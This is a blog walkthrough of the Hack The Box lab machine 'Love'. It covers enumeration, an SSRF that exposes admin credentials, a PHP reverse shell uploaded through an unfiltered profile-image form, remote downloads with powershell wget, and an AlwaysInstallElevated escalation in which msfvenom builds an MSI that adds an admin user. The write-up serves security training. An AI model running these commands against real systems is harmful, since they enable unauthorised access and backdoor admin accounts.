top of page
Post: Blog2 Post
  • Writer's pictureVosman

Love

Enumeration

NMAP

# Nmap 7.91 scan initiated Sat Jul 31 09:21:19 2021 as: nmap -sCV -vv -oA nmap/nmap_LoveScript 10.10.10.239
Nmap scan report for 10.10.10.239
Host is up, received reset ttl 127 (0.017s latency).
Scanned at 2021-07-31 09:21:19 BST for 24s
Not shown: 993 closed ports
Reason: 993 resets
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in/localityName=norway/organizationalUnitName=love.htb/emailAddress=roy@love.htb
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in/localityName=norway/organizationalUnitName=love.htb/emailAddress=roy@love.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
| SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
| -----BEGIN CERTIFICATE-----
| MIIDozCCAosCFFhDHcnclWJmeuqOK/LQv3XDNEu4MA0GCSqGSIb3DQEBCwUAMIGN
| MQswCQYDVQQGEwJpbjEKMAgGA1UECAwBbTEPMA0GA1UEBwwGbm9yd2F5MRYwFAYD
| VQQKDA1WYWxlbnRpbmVDb3JwMREwDwYDVQQLDAhsb3ZlLmh0YjEZMBcGA1UEAwwQ
| c3RhZ2luZy5sb3ZlLmh0YjEbMBkGCSqGSIb3DQEJARYMcm95QGxvdmUuaHRiMB4X
| DTIxMDExODE0MDAxNloXDTIyMDExODE0MDAxNlowgY0xCzAJBgNVBAYTAmluMQow
| CAYDVQQIDAFtMQ8wDQYDVQQHDAZub3J3YXkxFjAUBgNVBAoMDVZhbGVudGluZUNv
| cnAxETAPBgNVBAsMCGxvdmUuaHRiMRkwFwYDVQQDDBBzdGFnaW5nLmxvdmUuaHRi
| MRswGQYJKoZIhvcNAQkBFgxyb3lAbG92ZS5odGIwggEiMA0GCSqGSIb3DQEBAQUA
| A4IBDwAwggEKAoIBAQDQlH1J/AwbEm2Hnh4Bizch08sUHlHg7vAMGEB14LPq9G20
| PL/6QmYxJOWBPjBWWywNYK3cPIFY8yUmYlLBiVI0piRfaSj7wTLW3GFSPhrpmfz0
| 0zJMKeyBOD0+1K9BxiUQNVyEnihsULZKLmZcF6LhOIhiONEL6mKKr2/mHLgfoR7U
| vM7OmmywdLRgLfXN2Cgpkv7ciEARU0phRq2p1s4W9Hn3XEU8iVqgfFXs/ZNyX3r8
| LtDiQUavwn2s+Hta0mslI0waTmyOsNrE4wgcdcF9kLK/9ttM1ugTJSQAQWbYo5LD
| 2bVw7JidPhX8mELviftIv5W1LguCb3uVb6ipfShxAgMBAAEwDQYJKoZIhvcNAQEL
| BQADggEBANB5x2U0QuQdc9niiW8XtGVqlUZOpmToxstBm4r0Djdqv/Z73I/qys0A
| y7crcy9dRO7M80Dnvj0ReGxoWN/95ZA4GSL8TUfIfXbonrCKFiXOOuS8jCzC9LWE
| nP4jUUlAOJv6uYDajoD3NfbhW8uBvopO+8nywbQdiffatKO35McSl7ukvIK+d7gz
| oool/rMp/fQ40A1nxVHeLPOexyB3YJIMAhm4NexfJ2TKxs10C+lJcuOxt7MhOk0h
| zSPL/pMbMouLTXnIsh4SdJEzEkNnuO69yQoN8XgjM7vHvZQIlzs1R5pk4WIgKHSZ
| 0drwvFE50xML9h2wrGh7L9/CSbhIhO8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?       syn-ack ttl 127
| mysql-info: 
|_  MySQL Error: Host '10.10.14.4' is not allowed to connect to this MariaDB server
5000/tcp open  http         syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h41m33s, deviation: 4h02m31s, median: 21m32s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 17217/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 46453/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 39089/udp): CLEAN (Timeout)
|   Check 4 (port 21885/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-07-31T01:43:10-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-31T08:43:11
|_  start_date: N/A

Ok a few ports open:

80 - HTTP: Looks like a good place to start

135 - MSRPC: Standard Windows type port

139 - NetBIOS: Another standard Windows port

443 - HTTPS: Also looks like a good place to poke around, leaks username roy@love.htb, and also domains: love.htb, staging.love.htb in the SSL certificate information

445 - SMB: Very Windows, gives us some host info might be worth a look too for null authentication etc. Might come in handy later

3306 - MYSQL: Unusual on a Windows box but as the script shows we can't login to it from my host machine. Is probably bound to localhost login only. Maybe we'll be back here later though

5000 - HTTP?: Looks like another PHP web server on this port. Also gives us some host/domain information: www.example.com, LOVE, www.love.htb


First things first, let's get all of the related web domains into the hosts file in case there is some virtual hosting stuff going on then we can dig into each one:

nano /etc/hosts

10.10.10.239    www.love.htb staging.love.htb love.htb

Web Applications

Port 80

love.htb

So we have some sort of login page here. We know maybe one user "roy" (but this needs a user ID so may not be a username) and we also know they are using an SQL database so maybe some SQL injection? Will also do a gobuster on this and as we know this is a PHP server we'll look for .php files too. Ok recon time:

gobuster dir -u http://love.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster/gob_love80

Let's filter the output to show 200 success replies and 301 redirects too:

grep "200\|301" gobuster/gob_love80
/includes	(Status: 301) [Size: 332] [--> http://love.htb/includes/]
/images	(Status: 301) [Size: 330] [--> http://love.htb/images/]
/admin		(Status: 301) [Size: 329] [--> http://love.htb/admin/]
/plugins	(Status: 301) [Size: 331] [--> http://love.htb/plugins/]
/index.php	(Status: 200) [Size: 4388]
/Admin		(Status: 301) [Size: 329] [--> http://love.htb/Admin/]
/Images	(Status: 301) [Size: 330] [--> http://love.htb/Images/]
/.                   	(Status: 200) [Size: 4388]
/Includes	(Status: 301) [Size: 332] [--> http://love.htb/Includes/]
/ADMIN		(Status: 301) [Size: 329] [--> http://love.htb/ADMIN/]
/Index.php	(Status: 200) [Size: 4388]
/dist		(Status: 301) [Size: 328] [--> http://love.htb/dist/]
/IMAGES	(Status: 301) [Size: 330] [--> http://love.htb/IMAGES/]
/tcpdf		(Status: 301) [Size: 329] [--> http://love.htb/tcpdf/]
/Plugins	(Status: 301) [Size: 331] [--> http://love.htb/Plugins/]
/INCLUDES	(Status: 301) [Size: 332] [--> http://love.htb/INCLUDES/]
/PlugIns	(Status: 301) [Size: 331] [--> http://love.htb/PlugIns/]
/INDEX.php	(Status: 200) [Size: 4388]

Doh! The output shows multiple duplicates. This is because it's a Windows server and case sensitivity does not apply. Because my word-list contains several versions of the same words in differing cases we get duplicates. Let's remember not to do that again :D


Ok so we have some URL's to investigate now:

/admin

Looks more like a user name type situation going on here. Will need to do some more checking around for password for Roy maybe?

/dist

Had a quick look, it is what you'd expect with css and other bits, not too interesting but will come back if I hit a dead end.




/images

Yup, some images. Nothing obvious in them though. That said there are some that are "profile" pictures so maybe these are important in some way.




/includes

PHP stuff, probably not much here but will have a look in a bit if nothing else crops up.







/plugins

Unlikely to be useful but may have a look if running out of ideas.









/tcpdf

I'm not sure what this is. Maybe I'll need to investigate further but unlikely.










staging.love.htb

Ok this could be more interesting. The "Demo" button seems to scan files? Might be able to use this if the server does some improper handling of files uploaded/passed to it?


Port 443

Not much here. We know for certain it's a PHP server from the error message, so we can do a gobuster on this and look for .php files too.


gobuster dir -u https://love.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php -k -b 403 -o gobuster/gob_love443

Using the -x flag to set the file extension search to include .php files and also set the -k flag to skip the TLS certificate verification:


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://love.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/07/31 10:11:09 Starting gobuster in directory enumeration mode
===============================================================
/examples             (Status: 503) [Size: 399]
                                               
===============================================================
2021/07/31 10:13:34 Finished
===============================================================

Yeah nothing we can get to here, let's move on for now. Maybe we need to return here later when we have more information.


Port 5000

Same as 443 so can do another gobuster maybe and see what we get but not worth doing just yet as there a few more bits to look at.


SMB

Port 445

No null authentication on this so can't list shares and user Roy is password protected as you'd expect. We'll leave this for now, if we ever find Roy's password we'll take another look.

 

Exploiting The Web Application

OK, so what do we know so far:

  • There's web servers running on ports 80, 443, and 5000.

  • 443 and 5000 show not authorised but port 80 seems OK

  • SMB and MySQL are dead ends at the moment

We did a bit of recon on each web server and ran gobuster which found a few URL's, one of which is /admin. We can't use this yet as we don't have the credentials but maybe Roy is the user? We don't have a password for him yet so will have to come back to this. The other paths don't really get us anywhere.


We've found a scan file function on staging.love.htb and it states we need to use a URL to point the scanner to the file of our choice. Can this be used to connect back to your own web server? Let's find out:

mkdir www
echo vosNET > test.html
python3 -m http.server 80

Interesting, it displays what I put in the file. Let's see if it will interpret HTML tags:

nano test1.html
<html>
<body>
    <h1>vosNET</h1>
</body>
</html>

Nope! Well it won't interpret HTML but as this server executes PHP maybe it will execute PHP from a file hosted by me? Let's test it out:

nano test2.php
<?php
$cmd = 'whoami';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

Here I want to see if it will print out the output from the "whoami" command:

Hmm.. that's weird looks like it's done some weird validation or something so not going to execute code from a file hosted by me by looks of it.


Well we can always try Server-Side Request Forgery... A web-server will usually trust code hosted by itself, it would be dumb not to right? So let's try requesting a file that is most likely there http://localhost/index.php

Ah ha! This displays the index page within the page so we now know this works. Now we had "Forbidden" errors on the other web-server on ports 443 and 5000, but if the request comes from the server itself we should be able to see those pages displayed here. So let's try the pages on the other ports:


Port 443

Doesn't display anything, this is probably because it's an HTTPS server and the page can't process the request and responses... or there's just nothing there.


Port 5000

Nice, we have credentials for the admin user: admin:@LoveIsInTheAir!!!! It's a bit weird that the admin credentials are on the index page but it helps us out.


Right, we saw before that the /admin URL had a login prompt for username not user ID so let's try these credentials there as there hasn't been anywhere else to try them:

Nice, we're in! So, we're logged in now as "Neovic Devierte" and his profile picture is familiar. Remember when looking through the /images directory there were some "profile" pictures in there? Well, this profile picture was one of them. If there's a way to set a custom profile picture there must be a way to set one too. If we can get a file of our choosing into the images directory maybe we can get some sort of code execution or shell on this server. Let's go take a look around.


Getting User.txt

Well a good place to start will be the user profile button right?






Click on the Update button









I'll try uploading my test1.html file first just to see if the file ends up in the /images directory.








Quickly check the /images directory in the browser. Excellent, it worked!




This is really good for us getting onto this box as it shows that there doesn't seem to be any file type filtering on image uploads. A .html file is not an image file, so the fact it uploaded it without any problems is a security issue for sure and one we can abuse to get code execution.

Now, remember the server will trust any file that it is hosting

Now, is the time to see if we can a shell on this box. We know this server is running PHP so it's a good idea to start with trying to leverage that with a PHP reverse shell script. There are a lot of scripts out there that can do this and it's a good idea to keep one/some of these on your system for this type of occasion. I'm going to use the PHP reverse shell script from Ivan Sincek's github repository found here.


We don't need to go into too much detail about the code in this script but we do need to make a small adjustment to make it work for us. The section we need to change is all the way at the bottom:

[...SNIP...]
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.7', 9001);
$sh->run();
unset($sh);
[...SNIP...]

All we need to do is amend the IP address to the one the shell needs to come back to, in this case 10.10.14.7. Next change the port to one of your choosing, here 9001 because why not... if it's good enough for Ippsec it's good enough for me too :D


Save the newly edited script and upload it to the web server via the profile image functionality. Nice saved no problem!


Ok before we navigate to the file in the /images directory let's set up a listening port on 9001 first:

nc -lvnp 9001

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

Next navigate to the script in the browser, in my case at http://love.htb/images/revshell.php

Ncat: Connection from 10.10.10.239.
Ncat: Connection from 10.10.10.239:51464.
SOCKET: Shell has connected! PID: 2204
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>whoami
love\phoebe

C:\xampp\htdocs\omrs\images>

Niiice!! We now have a reverse shell on the server as the Phoebe user! Ok, let's see if the user flag is on this user:

C:\xampp\htdocs\omrs\images>cd C:\users\phoebe\desktop

C:\Users\Phoebe\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Phoebe\Desktop

04/13/2021  03:20 AM    <DIR>          .
04/13/2021  03:20 AM    <DIR>          ..
08/06/2021  11:45 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,064,538,624 bytes free

C:\Users\Phoebe\Desktop>

Great! So now all we need to do is get the text from the file using the "type" command in Windows, type users.txt. That's the user completed on this box.

There's no point in me revealing the flag on this blog as the flag values are generated each time the box is spawned

Getting Administrator

I had a little recon around the box for a bit, looking for any new credentials, and I didn't find anything meaningful so time to upload one of my "go to" Windows enumeration scripts "winPEAS". Grab the latest versions from here, I usually clone this into my /opt directory in my testing VM: git clone https://github.com/carlospolop/PEASS-ng


I usually create a copy of winPEAS.bat in a directory within the working directory where I'm keeping all my notes on the box I'm working on but it could just as easily be hosted from within the /opt/PEASS-ng/winPEASbat directory. Either way we'll host the winPEAS.bat file in a Python web server and then upload it to the server.

cd HTB/Boxes/Love/www
python3 -m http.server 80

Now on the box within our shell:

cd C:\xampp\tmp

powershell wget http://10.10.14.7/winPEAS.bat -o winPEAS.bat

Note: you can upload it to any location you want I just chose C:\xampp\tmp because it's a temporary directory and probably won't get checked by an admin of the box... IF they were checking.


Now let's run this and see what we get: C:\xampp\tmp>winPEAS.bat

[...SNIP...]
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [+] AlwaysInstallElevated? <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
[i] If '1' then you can install a .msi file with admin privileges ;)
  [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1


HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
[...SNIP...] 

Now this is interesting, as we can see here the registry entries allow us to install a .msi file as Administrator. What this means is we can create a .msi file that can... well... do what ever we want really, like getting the contents of a file or add a user with admin privileges. Let's do this by adding a user instead of just hitting the root.txt file.


There's a good guide in the hacktricks website mentioned above so let's use that. First let's create our own .msi file to add a user. To do this we can use MSFVenom:

msfvenom -p windows/adduser USER=vosman PASS=P@ssword123! -f msi -o alwe.msi

Next we can upload this file to the web server using our Python web server as before by ensuring the .msi file is in the directory being hosted by the Python web server. Then on the server upload it just like the winPEAS file:

powershell wget http://10.10.14.7/alwe.msi -o expl.msi

Now on the server run the .msi install command:

msiexec /quiet /qn /i expl.msi

Ok let's see if that worked net user:

Sweet! That's me added to the server.

And as an administrator too!


Now how do we get a shell as our new user? Well, let's try using a PowerShell remote session:


Using PowerShell for Linux we need to create a secure string set of credentials first.

Kali:~/HTB/Boxes/Love# pwsh                                                                                                                                                                                           
PowerShell 7.1.3                                       
Copyright (c) Microsoft Corporation.                                                                           
                                                                                                               
https://aka.ms/powershell                                                                                      
Type 'help' to get help.                                                                                       
                                                                                                                                                                                                                               
PS /root/HTB/Boxes/Love> $pass = ConvertTo-SecureString 'P@ssword123!' -asplaintext -force                                                                                                                                     
PS /root/HTB/Boxes/Love> $cred = New-Object System.Management.Automation.PSCredential('love\vosman', $pass)                                                                                                                    
PS /root/HTB/Boxes/Love> $cred                                                                                                                                                                                                 
                                                                                                                                                                                                                               
UserName                        Password                                                                                                                                                                                       
--------                        --------                                                                                                                                                                                       
love\vosman System.Security.SecureString  

Then we can initiate the PowerShell session:

PS /root/HTB/Boxes/Love> Enter-PSSession -Computer 10.10.10.239 -credential $cred                                                                                                                                              
Enter-PSSession: MI_RESULT_ACCESS_DENIED

Sometimes this error occurs when authenticating to Windows hosts but we can fix this by adding the -Authentication Negotiate parameter:

PS /root/HTB/Boxes/Love> Enter-PSSession -Computer 10.10.10.239 -credential $cred -Authentication Negotiate 
                                                                                                                
Enter-PSSession: Connecting to remote server 10.10.10.239 failed with the following error message : acquiring creds with username only failed Unspecified GSS failure.  Minor code may provide more information SPNEGO cannot find mechanisms to negotiate For more information, see the about_Remote_Troubleshooting Help topic.

Argh!! Ok this error will also occur if you don't have the gss-ntlmssp package installed, so let's fix that too:

apt install gss-ntlmssp

Now run the previous command again:

Enter-PSSession -Computer 10.10.10.239 -credential $cred -Authentication Negotiate

Excellent! We're now on the box as our new administrator user and we can get into the Administrator user Desktop directory and read the flag.

Job Done!

Vosman @vosNET-Cyber



Recent Posts

See All

Knife

bottom of page